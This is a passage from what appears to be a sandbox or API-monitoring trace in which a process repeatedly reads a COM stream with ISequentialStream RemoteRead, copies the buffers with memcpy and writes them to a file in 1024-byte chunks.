pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.599] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.599] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.599] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.599] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.599] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.599] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.600] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.600] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x42, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.600] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.600] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x45, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.600] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.600] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x11, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.600] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd2, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.600] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.600] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.601] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.601] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x40, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.601] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.601] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.601] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.601] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.601] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.601] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.601] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.601] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.601] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.601] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.602] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.602] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.602] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.602] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.602] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.602] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.602] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.602] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.602] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.603] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.603] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.603] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.603] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.603] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.603] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.603] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.603] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.603] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.603] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.604] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.604] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.604] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.604] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.604] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.604] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.604] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.604] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.604] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.604] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.605] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.605] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.605] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.605] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x36, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.605] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.605] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.605] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x95, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.605] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.605] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.606] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x40, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.606] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.606] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.606] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.606] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x20, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x34, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.606] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.606] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, 